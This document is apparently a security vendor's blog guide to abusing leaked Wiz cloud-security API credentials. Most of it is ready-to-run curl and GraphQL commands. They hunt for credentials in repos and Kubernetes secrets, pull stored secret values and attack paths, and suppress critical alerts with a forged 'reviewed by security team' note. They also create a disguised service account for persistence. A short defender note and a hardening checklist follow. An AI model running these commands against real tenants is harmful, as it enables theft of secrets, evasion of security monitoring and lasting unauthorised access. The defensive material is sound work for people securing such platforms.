Wiz Cloud Security Testing: API Key Exposure, CSPM Graph Query Abuse, and Service Account Enumeration

Wiz has become the dominant cloud security posture management (CSPM) platform for enterprises, with a unique graph-based security model that maps relationships across cloud resources, identities, and workloads. When Wiz API service account credentials are exposed, attackers gain a complete, pre-enumerated map of an organization's cloud security posture — including every misconfiguration, exposed secret, and exploitable attack path Wiz has already identified.

Table of Contents

  1. Wiz Architecture and Attack Surface
  2. API Service Account Credential Exposure
  3. Wiz API Authentication
  4. Security Graph Query Abuse
  5. CSPM Issues and Finding Enumeration
  6. Cloud Account Integration Credential Extraction
  7. Connector and Integration Abuse
  8. Hardening Checklist

Wiz Architecture and Attack Surface

Wiz operates as a fully SaaS-delivered platform with no agent deployment. Cloud connectivity is provided through Wiz Connectors — cloud-provider-native read-only roles that Wiz uses to inventory and analyze resources. The platform exposes a GraphQL API and a REST API for integrations, automation, and SIEM connectivity.

Key Components

ComponentAttack SurfaceCredential Type
Wiz PortalWeb console at app.wiz.ioUsername/password + SSO/SAML
GraphQL APIhttps://api.us1.app.wiz.io/graphqlService account client ID + secret → OAuth bearer
Wiz ConnectorsAWS/Azure/GCP IAM roles used by WizCloud provider credentials (IAM role ARN, service principal)
SIEM IntegrationWebhook / SIEM connector configService account credentials in integration settings
SOAR/TicketingJira, ServiceNow, PagerDuty integrationsService account credentials + webhook secrets
CI/CD IntegrationGitHub Actions, GitLab CI, JenkinsService account in pipeline environment variables

The Wiz API uses OAuth 2.0 client credentials flow. Service accounts are created in the Wiz console and issued a Client ID and Client Secret. These are the primary credentials used by all automated integrations — and are frequently exposed in CI/CD pipelines, Terraform state, and SIEM configurations.

API Service Account Credential Exposure

Wiz service account credentials (Client ID + Client Secret) follow the format of standard OAuth credentials. The Client ID is a UUID, and the Client Secret is a long random string. Together they are used to obtain a short-lived bearer token.

Common Exposure Vectors

Secret Scanning for Wiz Credentials

# Search for Wiz API credentials in code repositories
grep -rE "(WIZ_CLIENT_ID|WIZ_CLIENT_SECRET|wiz_client|wiz-client)" . \
  --include="*.env" --include="*.yml" --include="*.yaml" \
  --include="*.json" --include="*.tf" --include="*.tfvars" 2>/dev/null

# Search for Wiz API URL patterns (indicates nearby credentials)
grep -rE "(api\.(us1|eu1|au1|gov|ca1)\.app\.wiz\.io|app\.wiz\.io)" . 2>/dev/null

# Search Terraform state for Wiz provider configuration
grep -rE '"wiz"' . --include="*.tfstate" | head -20

# Trufflehog scan (Wiz credentials detector)
trufflehog filesystem . --only-verified

# Search Kubernetes secrets for Wiz credentials
kubectl get secrets --all-namespaces -o json | \
  python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for item in data['items']:
    for k, v in item.get('data', {}).items():
        decoded = base64.b64decode(v).decode('utf-8', errors='ignore')
        if 'wiz' in k.lower() or 'wiz' in decoded.lower():
            print(item['metadata']['namespace'], item['metadata']['name'], k)
"

Wiz API Authentication

The Wiz API uses OAuth 2.0 client credentials to obtain a short-lived bearer token. Once you have a client ID and secret, you exchange them for an access token used in all subsequent API calls.

Obtaining an Access Token

WIZ_CLIENT_ID="your_client_id_uuid"
WIZ_CLIENT_SECRET="your_client_secret"

# Exchange credentials for OAuth bearer token
TOKEN_RESPONSE=$(curl -s -X POST \
  "https://auth.app.wiz.io/oauth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=$WIZ_CLIENT_ID&client_secret=$WIZ_CLIENT_SECRET&audience=wiz-api")

WIZ_TOKEN=$(echo $TOKEN_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Token acquired: ${WIZ_TOKEN:0:40}..."

# Validate the token — get current tenant info
curl -s -X POST \
  "https://api.us1.app.wiz.io/graphql" \
  -H "Authorization: Bearer $WIZ_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "{ cloudAccounts { nodes { id name externalId cloudProvider subscriptionId } } }"}' | \
  python3 -m json.tool
Tenant URL varies by region: Wiz uses regional API endpoints. The correct endpoint is visible in the browser network tab of your Wiz portal session. Common endpoints: api.us1.app.wiz.io (US), api.eu1.app.wiz.io (EU), api.au1.app.wiz.io (Australia). Using the wrong endpoint returns a 401.

Security Graph Query Abuse

Wiz's core value proposition is its security graph — a unified model of all cloud resources, identities, network paths, and their security relationships. Via the GraphQL API, an attacker with service account credentials can query this graph to enumerate every misconfiguration, exposed secret, and attack path that Wiz has already mapped.

Cloud Account and Resource Enumeration

WIZ_API="https://api.us1.app.wiz.io/graphql"
AUTH_HEADER="Authorization: Bearer $WIZ_TOKEN"

# Enumerate all connected cloud accounts
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ cloudAccounts(first: 100) { nodes { id name externalId cloudProvider status subscriptionId linkedProjects { id name } } } }"
  }' | python3 -m json.tool

# Get all cloud resources by type
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ cloudResources(filterBy: {type: [VIRTUAL_MACHINE]}, first: 200) { nodes { id name externalId type region cloudAccount { name cloudProvider } properties } } }"
  }' | python3 -m json.tool

Vulnerability and Misconfiguration Enumeration

# Get all open security issues (misconfigurations) by severity
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ issues(filterBy: {severity: [CRITICAL, HIGH], status: [OPEN]}, first: 200) { nodes { id title severity status createdAt entity { id name type } control { id name description } } } }"
  }' | python3 -m json.tool

# This reveals: every critical misconfiguration Wiz has found in the target cloud environment
# Including: public S3 buckets, overprivileged IAM roles, exposed databases, leaked secrets

# Query for secrets detected by Wiz (Wiz scans workloads for leaked credentials)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ secrets(first: 100) { nodes { id type value path affectedEntities { id name type } } } }"
  }' | python3 -m json.tool
# Returns: actual secret values detected by Wiz scanner (AWS keys, DB passwords, API tokens)

Attack Path Enumeration

# Query attack paths — Wiz pre-computes attack paths to critical resources
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ attackPaths(first: 50) { nodes { id description riskScore startEntity { id name type } endEntity { id name type } edges { source { id name } destination { id name } } } } }"
  }' | python3 -m json.tool

# Get toxic combinations (Wiz's term for multi-factor attack paths)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ toxicCombinations(first: 50) { nodes { id name severity riskScore steps { id description } } } }"
  }' | python3 -m json.tool
Critical exposure: Wiz's secret detection scans workload filesystems and returns the actual secret values via API. An attacker who compromises Wiz API credentials gains access to every leaked AWS key, database password, and API token that Wiz has already scanned and catalogued across the cloud estate — without needing to touch the cloud environment directly.

CSPM Issues and Finding Enumeration

Wiz continuously evaluates cloud resources against hundreds of security controls. All findings are queryable via the API, providing a complete picture of the target's security weaknesses.

Control and Finding Export

# List all Wiz security controls and their pass/fail status
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ controls(first: 200) { nodes { id name description severity enabled failedResourceCount passedResourceCount } } }"
  }' | python3 -m json.tool

# Get all failed controls (i.e., active misconfigurations)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ controls(filterBy: {hasFailed: true}, first: 200) { nodes { id name severity failedResourceCount } } }"
  }' | python3 -m json.tool

# Export issues to CSV (triggers async export job)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { issuesExport(filterBy: {severity: [CRITICAL, HIGH]}) { id url } }"
  }' | python3 -m json.tool

Public Exposure and Network Path Enumeration

# Find all publicly exposed resources (internet-facing attack surface)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ cloudResources(filterBy: {hasPublicIpAddress: true}, first: 200) { nodes { id name type region externalId cloudAccount { name cloudProvider } properties } } }"
  }' | python3 -m json.tool

# Find all storage buckets/blobs with public access
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ cloudResources(filterBy: {type: [BUCKET, STORAGE_ACCOUNT_BLOB_CONTAINER], isPublic: true}, first: 200) { nodes { id name externalId cloudProvider region properties } } }"
  }' | python3 -m json.tool

Cloud Account Integration Credential Extraction

Wiz connects to cloud environments through read-only IAM roles. While Wiz itself does not store the underlying cloud credentials (it uses role assumption), the Wiz connector configuration reveals the IAM role ARNs and external IDs used for trust relationships — information that enables attacks against the cloud accounts themselves.

Connector Configuration Enumeration

# List all configured connectors
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ connectors(first: 50) { nodes { id name type status createdAt cloudAccounts { id name externalId cloudProvider } configuration } } }"
  }' | python3 -m json.tool

# AWS connector configuration reveals:
# - WizAccess role ARN (e.g., arn:aws:iam::123456789012:role/WizAccess)
# - External ID used for role assumption (used in the trust policy)
# These can be used to understand the Wiz attack surface in the customer's AWS account

# Get integration credentials (SIEM, ticketing, SOAR)
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "{ integrations(first: 50) { nodes { id name type status createdAt } } }"
  }' | python3 -m json.tool

Connector and Integration Abuse

Beyond passive enumeration, Wiz API access enables an attacker to create new integrations, modify issue severity, suppress alerts, and in some configurations, trigger automated remediation actions.

Issue Status Manipulation (Alert Suppression)

# Set a critical issue to "Resolved" or "Rejected" to suppress alerts
# This is the CSPM equivalent of adding a detection exclusion

curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation UpdateIssue($id: ID!) { updateIssue(input: { id: $id, status: REJECTED, resolutionNote: \"Accepted risk — reviewed by security team\" }) { issue { id status } } }",
    "variables": {"id": "issue_id_here"}
  }' | python3 -m json.tool

# Bulk reject all critical issues (drastically suppresses security posture visibility)
# This demonstrates the blast radius of a compromised admin service account

Create a New Service Account (Persistence)

# If the compromised service account has Admin scope,
# create a new service account for persistence
curl -s -X POST "$WIZ_API" \
  -H "$AUTH_HEADER" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation CreateServiceAccount($input: CreateServiceAccountInput!) { createServiceAccount(input: $input) { serviceAccount { id name clientId clientSecret } } }",
    "variables": {
      "input": {
        "name": "audit-integration-svc",
        "description": "Audit tool integration account",
        "scopes": ["read:all", "write:issues"]
      }
    }
  }' | python3 -m json.tool
# The response contains clientId and clientSecret — preserve these for persistence
Defender note: Wiz logs all API calls in the Activity Log (Settings → Activity Log). Forward this to your SIEM and alert on: service account creation, bulk issue status changes (especially REJECTED), new connector creation, and API calls from unexpected source IPs. Rotate service account secrets on a schedule and audit active service accounts quarterly.

Hardening Checklist

ControlPriorityAction
Rotate all service account credentialsCriticalImmediately rotate any service account client secrets that may have been exposed; audit Terraform state files for embedded credentials
Apply least-privilege scopes to service accountsCriticalA SIEM integration needs read:all only; automation that resolves issues needs write:issues; no service account needs admin:all
Enable SSO for all console usersHighEnforce SSO/SAML for all Wiz portal users; disable username/password login; require MFA at the IdP level
Restrict service account source IPsHighWhere possible, restrict service account usage to specific CI/CD runner IPs or VPC egress IPs
Forward Wiz Activity Log to SIEMHighConfigure Activity Log streaming to your SIEM; alert on service account creation, bulk issue suppression, and new connector additions
Audit active service accounts quarterlyHighReview all service accounts — who created them, when they were last used, what scopes they have; decommission unused accounts
Protect Terraform stateHighStore Terraform state in encrypted remote backends (S3+KMS, Terraform Cloud); never commit state files to version control
Scan CI/CD pipelines for credential exposureHighRun trufflehog or gitleaks on all repos; use native secret scanning (GitHub Advanced Security, GitLab Secret Detection)
Enable Wiz secret detectionMediumEnsure Wiz's workload scanning includes secret detection; remediate all detected secrets immediately — they are queryable via API
Review issue suppression audit trailMediumAlert on bulk REJECTED status changes; require business justification for accepted risks; review suppressed issues monthly

Validate Your Cloud Security Posture

Ironimo's Kali Linux-powered scanning engine tests for exposed Wiz API credentials, misconfigured cloud security integrations, and CSPM tool credential exposure — helping security teams validate that their cloud security tools aren't themselves the vulnerability.

Start free scan